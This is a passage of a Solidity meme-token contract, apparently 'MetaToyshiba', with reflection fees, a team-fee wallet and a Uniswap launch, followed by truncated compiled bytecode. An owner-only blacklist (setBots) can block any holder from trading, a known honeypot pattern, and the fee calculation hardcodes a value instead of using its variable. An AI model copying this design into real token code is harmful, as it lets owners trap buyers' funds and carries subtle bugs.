constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 3;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 5);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612728565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906127f2565b61045e565b604051610178919061284d565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612877565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612892565b61048d565b6040516101e0919061284d565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906128e5565b610566565b005b34801561021e57600080fd5b50610227610656565b604051610234919061292e565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612975565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f91906128e5565b610783565b6040516102b19190612877565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f391906129b1565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612728565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906127f2565b61098d565b60405161035b919061284d565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612b14565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612b5d565b611061565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612b8a565b6111aa565b6040516104189190612877565b60405180910390f35b60606040518060400160405280600c81526020017f4d657461546f7973686962610000000000000000000000000000000000000000815250905090565b600061047261046b611231565b8484611239565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611404565b61055b846104a6611231565b610556856040518060600160405280602881526020016136cc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c611231565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bc39092919063ffffffff16565b611239565b600190509392505050565b61056e611231565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612c16565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610667611231565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612c16565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610752611231565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c27565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c93565b9050919050565b6107dc611231565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612c16565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4d54534849424100000000000000000000000000000000000000000000000000815250905090565b60006109a161099a611231565b8484611404565b6001905092915050565b6109b3611231565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612c16565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a64612c36565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac990612c94565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b16611231565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611d01565b50565b610b57611231565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612c16565b60405180910390fd5b600e60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612d29565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611239565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d339190612d5e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d9a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbe9190612d5e565b6040518363ffffffff1660e01b8152600401610ddb929190612d8b565b6020604051808303816000875af1158015610dfa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1e9190612d5e565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ea730610783565b600080610eb2610927565b426040518863ffffffff1660e01b8152600401610ed496959493929190612df9565b60606040518083038185885af1158015610ef2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f179190612e6f565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff02191690831515021790555068056bc75e2d63100000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161101a929190612ec2565b6020604051808303816000875af1158015611039573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105d9190612f00565b5050565b611069611231565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ed90612c16565b60405180910390fd5b60008111611139576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113090612f79565b60405180910390fd5b611168606461115a83683635c9adc5dea00000611f7a90919063ffffffff16565b611ff590919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161119f9190612877565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a09061300b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113109061309d565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113f79190612877565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611474576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146b9061312f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db906131c1565b60405180910390fd5b60008111611527576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151e90613253565b60405180910390fd5b61152f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561159d575061156d610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b0057600e60179054906101000a900460ff16156117d0573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116795750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116d35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117cf57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611719611231565b73ffffffffffffffffffffffffffffffffffffffff16148061178f5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611777611231565b73ffffffffffffffffffffffffffffffffffffffff16145b6117ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c5906132bf565b60405180910390fd5b5b5b600f548111156117df57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118835750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61188c57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119375750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561198d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119a55750600e60179054906101000a900460ff165b15611a465742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119f557600080fd5b603c42611a0291906132df565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a5130610783565b9050600e60159054906101000a900460ff16158015611abe5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ad65750600e60169054906101000a900460ff165b15611afe57611ae481611d01565b60004790506000811115611afc57611afb47611c27565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ba75750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bb157600090505b611bbd8484848461203f565b50505050565b6000838311158290611c0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c029190612728565b60405180910390fd5b5060008385611c1a9190613335565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c8f573d6000803e3d6000fd5b5050565b6000600654821115611cda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd1906133db565b60405180910390fd5b6000611ce461206c565b9050611cf98184611ff590919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d3957611d386129d1565b5b604051908082528060200260200182016040528015611d675781602001602082028036833780820191505090505b5090503081600081518110611d7f57611d7e612c36565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e4a9190612d5e565b81600181518110611e5e57611e5d612c36565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ec530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611239565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f299594939291906134b9565b600060405180830381600087803b158015611f4357600080fd5b505af1158015611f57573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600080831415611f8d5760009050611fef565b60008284611f9b9190613513565b9050828482611faa919061359c565b14611fea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fe19061363f565b60405180910390fd5b809150505b92915050565b600061203783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612097565b905092915050565b8061204d5761204c6120fa565b5b61205884848461212b565b80612066576120656122f6565b5b50505050565b6000806000612079612308565b915091506120908183611ff590919063ffffffff16565b9250505090565b600080831182906120de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d59190612728565b60405180910390fd5b50600083856120ed919061359c565b9050809150509392505050565b600060085414801561210e57506000600954145b1561211857612129565b600060088190555060006009819055505b565b60008060008060008061213d8761236a565b95509550955095509550955061219b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123d190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227c81612479565b6122868483612536565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122e39190612877565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b600080600060065490506000683635c9adc5dea00000905061233e683635c9adc5dea00000600654611ff590919063ffffffff16565b82101561235d57600654683635c9adc5dea00000935093505050612366565b81819350935050505b9091565b60008060008060008060008060006123868a6008546005612570565b925092509250600061239661206c565b905060008060006123a98e878787612606565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061241383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bc3565b905092915050565b600080828461242a91906132df565b90508381101561246f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612466906136ab565b60405180910390fd5b8091505092915050565b600061248361206c565b9050600061249a8284611f7a90919063ffffffff16565b90506124ee81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61254b826006546123d190919063ffffffff16565b6006819055506125668160075461241b90919063ffffffff16565b6007819055505050565b60008060008061259c606461258e888a611f7a90919063ffffffff16565b611ff590919063ffffffff16565b905060006125c660646125b8888b611f7a90919063ffffffff16565b611ff590919063ffffffff16565b905060006125ef826125e1858c6123d190919063ffffffff16565b6123d190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061261f8589611f7a90919063ffffffff16565b905060006126368689611f7a90919063ffffffff16565b9050600061264d8789611f7a90919063ffffffff16565b905060006126768261266885876123d190919063ffffffff16565b6123d190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126c95780820151818401526020810190506126ae565b838111156126d8576000848401525b50505050565b6000601f19601f8301169050919050565b60006126fa8261268f565b612704818561269a565b93506127148185602086016126ab565b61271d816126de565b840191505092915050565b6000602082019050818103600083015261274281846126ef565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127898261275e565b9050919050565b6127998161277e565b81146127a457600080fd5b50565b6000813590506127b681612790565b92915050565b6000819050919050565b6127cf816127bc565b81146127da57600080fd5b50565b6000813590506127ec816127c6565b92915050565b6000806040838503121561280957612808612754565b5b6000612817858286016127a7565b9250506020612828858286016127dd565b9150509250929050565b60008115159050919050565b61284781612832565b82525050565b6000602082019050612862600083018461283e565b92915050565b612871816127bc565b82525050565b600060208201905061288c6000830184612868565b92915050565b6000806000606084860312156128ab576128aa612754565b5b60006128b9868287016127a7565b93505060206128ca868287016127a7565b92505060406128db868287016127dd565b9150509250925092565b6000602082840312156128fb576128fa612754565b5b6000612909848285016127a7565b91505092915050565b600060ff82169050919050565b61292881612912565b82525050565b6000602082019050612943600083018461291f565b92915050565b61295281612832565b811461295d57600080fd5b50565b60008135905061296f81612949565b92915050565b60006020828403121561298b5761298a612754565b5b600061299984828501612960565b91505092915050565b6129ab8161277e565b82525050565b60006020820190506129c660008301846129a2565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612a09826126de565b810181811067ffffffffffffffff82111715612a2857612a276129d1565b5b80604052505050565b6000612a3b61274a565b9050612a478282612a00565b919050565b600067ffffffffffffffff821115612a6757612a666129d1565b5b602082029050602081019050919050565b600080fd5b6000612a90612a8b84612a4c565b612a31565b90508083825260208201905060208402830185811115612ab357612ab2612a78565b5b835b81811015612adc5780612ac888826127a7565b845260208401935050602081019050612ab5565b5050509392505050565b600082601f830112612afb57612afa6129cc565b5b8135612b0b848260208601612a7d565b91505092915050565b600060208284031215612b2a57612b29612754565b5b600082013567ffffffffffffffff811115612b4857612b47612759565b5b612b5484828501612ae6565b91505092915050565b600060208284031215612b7357612b72612754565b5b6000612b81848285016127dd565b91505092915050565b60008060408385031215612ba157612ba0612754565b5b6000612baf858286016127a7565b9250506020612bc0858286016127a7565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c0060208361269a565b9150612c0b82612bca565b602082019050919050565b60006020820190508181036000830152612c2f81612bf3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c9f826127bc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612cd257612cd1612c65565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d1360178361269a565b9150612d1e82612cdd565b602082019050919050565b60006020820190508181036000830152612d4281612d06565b9050919050565b600081519050612d5881612790565b92915050565b600060208284031215612d7457612d73612754565b5b6000612d8284828501612d49565b91505092915050565b6000604082019050612da060008301856129a2565b612dad60208301846129a2565b9392505050565b6000819050919050565b6000819050919050565b6000612de3612dde612dd984612db4565b612dbe565b6127bc565b9050919050565b612df381612dc8565b82525050565b600060c082019050612e0e60008301896129a2565b612e1b6020830188612868565b612e286040830187612dea565b612e356060830186612dea565b612e4260808301856129a2565b612e4f60a0830184612868565b979650505050505050565b600081519050612e69816127c6565b92915050565b600080600060608486031215612e8857612e87612754565b5b6000612e9686828701612e5a565b9350506020612ea786828701612e5a565b9250506040612eb886828701612e5a565b9150509250925092565b6000604082019050612ed760008301856129a2565b612ee46020830184612868565b9392505050565b600081519050612efa81612949565b92915050565b600060208284031215612f1657612f15612754565b5b6000612f2484828501612eeb565b91505092915050565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b6000612f63601d8361269a565b9150612f6e82612f2d565b602082019050919050565b60006020820190508181036000830152612f9281612f56565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612ff560248361269a565b915061300082612f99565b604082019050919050565b6000602082019050818103600083015261302481612fe8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061308760228361269a565b91506130928261302b565b604082019050919050565b600060208201905081810360008301526130b68161307a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f64726573730000000000